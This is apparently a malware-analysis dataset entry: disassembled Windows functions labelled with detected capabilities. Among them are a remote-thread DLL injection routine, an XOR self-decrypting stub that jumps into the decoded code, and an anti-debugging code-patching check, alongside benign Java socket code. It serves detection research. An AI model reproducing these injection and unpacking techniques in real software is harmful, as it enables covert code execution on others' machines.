joyce8/EMBER2024-capa huggingface dataset:
Function at 0x675417cb
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x67541ec0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6754603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x67546034]
sub esp, 4
test ebx, ebx
je 0x67541f0b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x67541f04
test esi, esi
je 0x67541f04
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x67541ee0
mov dword [esp], 0x6754603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x675420f0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x67544270
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x67542140
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x67542218
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6754217e
cmp eax, 4
jne 0x675421a0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6754218e
cmp edx, 4
je 0x6754218e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.675420f0

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x4016a1
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
push edi
xor edi, edi
cmp dword [esi], edi
jne 0x4016f5
push edi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov dword [esi], eax
test eax, eax
je 0x4016f5
mov ecx, dword [ebp + 0xc]
test ecx, ecx
push 0x20
pop eax
cmove ecx, eax
cdq
idiv ecx
push 0x40
push 0x3000
lea eax, [edx + ecx]
mov dword [esi + 8], eax
shl eax, 7
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esi + 4], eax
test eax, eax
jne 0x4016f5
mov dword [esi], edi
pop edi
pop esi
pop ebp
ret 8

Function at 0x401865
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push 0xfffffffffffffffb
pop eax
mov cl, byte [eax + edx]
cmp cl, 0x90
je 0x40187b
cmp cl, 0xcc
jne 0x4018c4
inc eax
cmp eax, 0xffffffff
jle 0x40186e
mov al, byte [edx]
cmp al, 0x8b
je 0x40188b
cmp al, 0x89
jne 0x4018c4
cmp byte [edx + 1], 0xff
jne 0x4018c4
mov eax, dword [ebp + 0xc]
lea ecx, [edx + 2]
sub eax, edx
mov byte [edx - 5], 0xe9
mov dword [edx - 4], eax
mov eax, dword [ebp + 0x10]
push 0
push 0
mov dword [eax], ecx
mov eax, 0xf9eb
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov al, 1
pop ebp
ret 0xc
xor al, al
jmp 0x4018c0

Function at 0x409b85
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00409845
Function at 0x4018c0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x403464], eax
mov edi, 0
mov ecx, 0xa
push edi
loop 0x4018dd
lea eax, [ebp - 0x2c]
push eax
mov edx, dword [0x403464]
mov dword [ebp - 0x1c], edx
lea ecx, str.contents
mov dword [ebp - 8], ecx
lea eax, section..text
mov dword [ebp - 0x28], eax
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0x67
push dword [0x403464]
call dword [sym.imp.USER32.dll_LoadBitmapA]
push 0x66
push dword [0x403464]
call dword [sym.imp.USER32.dll_LoadBitmapA]
xor eax, eax
push eax
push dword [0x403464]
push eax
push eax
push 0x1f4
push 0x2f4
push 0x578
push 0xce4
push 0
mov ecx, str.frantically
push eax
push str.contents
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x403474], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x403474]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x4019a6
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x40198d
pop ebp
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x100015be
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0xb8]
sub esp, 0x134
mov eax, dword [0x100120b4]
xor eax, ebp
mov dword [ebp + 0xb4], eax
push esi
mov esi, dword [sym.imp.ws2_32.dll_select]
xor ecx, ecx
lea edx, [ebp - 0x7c]
push edx
push ecx
push ecx
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x78], ecx
lea ecx, [ebp - 0x6c]
lea eax, [edi + 1]
push ecx
push eax
mov byte [ebp - 0x6d], 0
mov dword [ebp - 0x74], 0x1c
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x6c], 1
call esi
test eax, eax
jle 0x10001671
push ebx
mov ebx, dword [sym.imp.ws2_32.dll_recvfrom]
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0x98]
push eax
push 2
push 1
lea eax, [ebp - 0x6e]
push eax
push edi
call ebx
cmp eax, 0xffffffff
jne 0x10001670
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x2746
jne 0x10001670
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0x98]
push eax
push 0
push 1
lea eax, [ebp - 0x6e]
push eax
push edi
call ebx
lea eax, [ebp - 0x7c]
push eax
push 0
push 0
lea eax, [ebp - 0x6c]
push eax
lea eax, [edi + 1]
push eax
mov byte [ebp - 0x6d], 1
call esi
test eax, eax
jg 0x10001618
pop ebx
mov ecx, dword [ebp + 0xb4]
mov al, byte [ebp - 0x6d]
xor ecx, ebp
pop esi
call fcn.1000c212
add ebp, 0xb8
leave
ret

Function at 0x100016d6
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
xor edi, edi
push edi
push 2
push 0x17
mov dword [ebp - 8], edi
mov dword [ebp - 4], 1
call dword [sym.imp.ws2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10001715
push str.Socket_creation_failed
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
push eax
push dword [ebp + 8]
call fcn.10002b96
or eax, 0xffffffff
jmp 0x10001788
push 4
lea eax, [ebp - 8]
push eax
push 0x1b
push 0x29
push esi
call dword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x10001748
push str.Socket_creation_failed
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
push eax
push dword [ebp + 8]
call fcn.10002b96
push esi
call dword [sym.imp.ws2_32.dll_closesocket]
jmp 0x10001710
push edi
push 1
push esi
call dword [sym.imp.kernel32.dll_SetHandleInformation]
push 4
lea eax, [ebp - 4]
push eax
push 0x20
push 0xffff
push esi
call fcn.10002b96
push edi
push edi
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 4]
push eax
push 0x9800000c
push esi
mov dword [ebp - 4], edi
call dword [sym.imp.ws2_32.dll_WSAIoctl]
mov eax, esi
pop edi
pop esi
leave
ret 0xc
Function at 0x10001814
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x100120b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
xor ecx, ecx
inc ecx
push ecx
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x20]
push ecx
push dword [ebp + 0x18]
mov dword [ebp - 0x24], 0x1c
push eax
push esi
call fcn.10002b96
test eax, eax
jne 0x1000189a
push dword [ebp - 0x24]
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.ws2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10001878
push str.connect
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
push eax
push esi
call fcn.10002b96
jmp 0x1000189a
push 0
push 0
lea eax, [ebp - 0x2c]
push eax
push 4
lea eax, [ebp - 0x30]
push eax
push 4
lea eax, [ebp - 0x28]
push eax
push 0x9800000c
push dword [ebp + 0x10]
call dword [sym.imp.ws2_32.dll_WSAIoctl]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1000c212
leave
ret 0x14

Function at 0x100018a9
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x100120b4]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x24], 0
push 0x1c
lea eax, [ebp - 0x20]
push 0
push eax
call sub.msvcr100.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.ws2_32.dll_connect]
push 0
push 0
lea eax, [ebp - 0x28]
push eax
push 4
lea eax, [ebp - 0x2c]
push eax
push 4
lea eax, [ebp - 0x24]
push eax
push 0x9800000c
push dword [ebp + 0x10]
call dword [sym.imp.ws2_32.dll_WSAIoctl]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000c212
leave
ret 0xc

Function at 0x1000190c
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100120b4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x10]
mov dword [ebp - 0x24], 0x1c
call dword [sym.imp.ws2_32.dll_getsockname]
cmp eax, 0xffffffff
jne 0x10001954
push str.JVM_GetSockName
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
push eax
push esi
call fcn.10002b96
or eax, 0xffffffff
jmp 0x10001962
movzx eax, word [ebp - 0x1e]
push eax
call dword [sym.imp.ws2_32.dll_ntohs]
movzx eax, ax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1000c212
leave
ret 0xc

Function at 0x10001971
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100120b4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x10]
mov dword [ebp - 0x24], 0x1c
call dword [sym.imp.ws2_32.dll_getsockname]
cmp eax, 0xffffffff
jne 0x100019b8
push str.Error_getting_socket_name
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
push eax
push esi
call fcn.10002b96
xor eax, eax
jmp 0x100019c6
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
push esi
call fcn.10002b96
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1000c212
leave
ret 0xc
Function at 0x10001ced
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x7ac]
sub esp, 0x82c
mov eax, dword [0x100120b4]
xor eax, ebp
mov dword [ebp + 0x7a8], eax
cmp byte [ebp + 0x7d4], 0
mov eax, dword [ebp + 0x7c0]
push esi
mov esi, dword [ebp + 0x7b4]
lea ecx, [ebp - 0x74]
push edi
mov edi, dword [ebp + 0x7c8]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x7cc]
mov dword [ebp - 0x78], 0x1c
mov dword [ebp - 0x7c], ecx
je 0x10001d45
and dword [ebp - 0x7c], 0
and dword [ebp - 0x78], 0
jmp 0x10001d64
push 1
lea ecx, [ebp - 0x78]
push ecx
lea ecx, [ebp - 0x74]
push ecx
push dword [ebp + 0x7d0]
push eax
push esi
call fcn.10002b96
test eax, eax
jne 0x10001de8
push ebx
cmp edi, 0x800
jle 0x10001d93
mov eax, 0x10000
cmp edi, eax
jle 0x10001d78
mov edi, eax
push edi
call dword [sym.imp.msvcr100.dll_malloc]
mov ebx, eax
pop ecx
test ebx, ebx
jne 0x10001d96
push str.Native_heap_allocation_failed
push esi
call sub.java.dll__JNU_ThrowOutOfMemoryError_8
jmp 0x10001de7
lea ebx, [ebp - 0x58]
mov eax, dword [esi]
push ebx
push edi
push dword [ebp + 0x7c4]
push dword [ebp - 0x80]
push esi
call dword [eax + 0x320]
push dword [ebp - 0x78]
push dword [ebp - 0x7c]
push 0
push edi
push ebx
push dword [ebp + 0x7bc]
call dword [sym.imp.ws2_32.dll_sendto]
cmp eax, 0xffffffff
jne 0x10001dd7
push str.Datagram_send_failed
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
push eax
push esi
call fcn.10002b96
cmp edi, 0x800
jle 0x10001de7
push ebx
call dword [sym.imp.msvcr100.dll_free]
pop ecx
pop ebx
mov ecx, dword [ebp + 0x7a8]
pop edi
xor ecx, ebp
pop esi
call fcn.1000c212
add ebp, 0x7ac
leave
ret 0x24

Function at 0x10001f9e
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
xor eax, eax
cmp byte [ebp + 0x10], al
push esi
sete al
push 0
inc eax
push eax
push 0x17
call fcn.1000b86d
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
jne 0x10001fdc
push str.create
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
push eax
push dword [ebp + 8]
call fcn.10002b96
or eax, esi
jmp 0x10002013
push 4
lea eax, [ebp - 4]
push eax
push 0x1b
push 0x29
push esi
call dword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x10002006
push str.create
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
push eax
push dword [ebp + 8]
call fcn.10002b96
push 0
push 1
push esi
call dword [sym.imp.kernel32.dll_SetHandleInformation]
mov eax, esi
pop esi
leave
ret 0x10
Function at 0x10002086
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100120b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push 1
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x20]
push ecx
push dword [ebp + 0x18]
mov dword [ebp - 0x24], 0x1c
push eax
push esi
call fcn.10002b96
test eax, eax
jne 0x10002108
push dword [ebp - 0x24]
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.ws2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1000210b
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x100020e3
push 0xfffffffffffffffe
pop eax
jmp 0x1000210b
cmp eax, 0x2741
jne 0x100020fc
push str.connect:_Address_is_invalid_on_local_machine__or_port_is_not_valid_on_remote_machine
push str.java_net_ConnectException
push esi
call sub.java.dll__JNU_ThrowByName_12
jmp 0x10002108
push str.connect
push eax
push esi
call fcn.10002b96
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1000c212
leave
ret 0x14

Function at 0x1000211a
Capabilities:
Get socket status

Disassembly:
push ebp
lea ebp, [esp - 0x19c]
sub esp, 0x21c
mov eax, dword [0x100120b4]
xor eax, ebp
mov dword [ebp + 0x198], eax
xor eax, eax
inc eax
mov dword [ebp - 0x70], eax
mov dword [ebp + 0x94], eax
mov eax, dword [ebp + 0x1b0]
cdq
mov ecx, 0x3e8
idiv ecx
push ebx
push esi
mov esi, dword [ebp + 0x1ac]
push edi
mov edi, dword [ebp + 0x1a4]
xor ebx, ebx
mov dword [ebp - 0x78], 4
mov dword [ebp - 0x6c], esi
mov dword [ebp + 0x98], esi
mov dword [ebp - 0x80], eax
imul edx, edx, 0x3e8
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp + 0x94]
push eax
lea eax, [ebp - 0x70]
push eax
push ebx
lea eax, [esi + 1]
push eax
mov dword [ebp - 0x7c], edx
call dword [sym.imp.ws2_32.dll_select]
mov dword [ebp - 0x74], eax
cmp eax, ebx
jne 0x100021b8
push str.connect_timed_out
push str.java_net_SocketTimeoutException
push edi
call sub.java.dll__JNU_ThrowByName_12
push 2
push esi
call dword [sym.imp.ws2_32.dll_shutdown]
jmp 0x1000221b
lea eax, [ebp + 0x94]
push eax
push esi
call sub.ws2_32.dll___WSAFDIsSet
test eax, eax
je 0x1000221b
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x74]
push eax
push 0x1007
push 0xffff
push esi
call fcn.10002b96
cmp dword [ebp - 0x74], 0
jne 0x1000220d
push 0
call dword [sym.imp.kernel32.dll_Sleep]
inc ebx
cmp ebx, 3
jl 0x100021c9
cmp dword [ebp - 0x74], 0
jne 0x1000220d
push str.Unable_to_establish_connection
push str.java_net_SocketException
push edi
call sub.java.dll__JNU_ThrowByName_12
jmp 0x1000221b
push str.connect
push dword [ebp - 0x74]
push edi
call fcn.10002b96
mov ecx, dword [ebp + 0x198]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000c212
add ebp, 0x19c
leave
ret 0x10
Function at 0x10002235
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100120b4]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x10]
mov dword [ebp - 0x24], 0x1c
call dword [sym.imp.ws2_32.dll_getsockname]
cmp eax, 0xffffffff
jne 0x1000229c
push esi
mov esi, dword [sym.imp.ws2_32.dll_WSAGetLastError]
call esi
cmp eax, 0x2736
jne 0x10002288
push str.Socket_closed
push str.java_net_SocketException
push edi
call sub.java.dll__JNU_ThrowByName_12
jmp 0x10002296
push str.getsockname_failed
call esi
push eax
push edi
call fcn.10002b96
or eax, 0xffffffff
pop esi
jmp 0x100022aa
movzx eax, word [ebp - 0x1e]
push eax
call dword [sym.imp.ws2_32.dll_ntohs]
movzx eax, ax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1000c212
leave
ret 0xc

Function at 0x100022b9
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100120b4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x14]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x10]
mov dword [ebp - 0x24], 0x1c
call dword [sym.imp.ws2_32.dll_getsockname]
cmp eax, 0xffffffff
jne 0x10002302
push str.Error_getting_socket_name
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
push eax
push esi
call fcn.10002b96
jmp 0x10002343
push ebx
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
push esi
call fcn.10002b96
mov ebx, eax
test ebx, ebx
je 0x10002342
mov eax, dword [esi]
push edi
push esi
call dword [eax + 0x7c]
mov ecx, dword [esi]
push str.Ljava_net_InetAddress_
push str.addr
push eax
push esi
call dword [ecx + 0x178]
test eax, eax
je 0x10002342
mov ecx, dword [esi]
push ebx
push eax
push edi
push esi
call dword [ecx + 0x1a0]
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1000c212
leave
ret 0x10

Function at 0x1000263c
Capabilities:
Send data
Send data on socket

Disassembly:
push 1
push 1
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x18]
call dword [sym.imp.ws2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1000266b
push str.send
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
push eax
push dword [esp + 0xc]
call fcn.10002b96
jmp 0x10002680
cmp eax, 0xfffffffe
jne 0x10002680
push 0
push str.java_io_InterruptedIOException
push dword [esp + 0xc]
call sub.java.dll__JNU_ThrowByName_12
ret 0x10

Function at 0x100027a3
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x100120b4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push pe_nt_image_headers32
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.ws2_32.dll_gethostname]
cmp eax, 0xffffffff
jne 0x100027e4
lea eax, [ebp - 0x104]
push str.localhost
push eax
call sub.msvcr100.dll_strcpy
pop ecx
pop ecx
lea eax, [ebp - 0x104]
push eax
push esi
call sub.java.dll__JNU_NewStringPlatform_8
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1000c212
leave
ret 8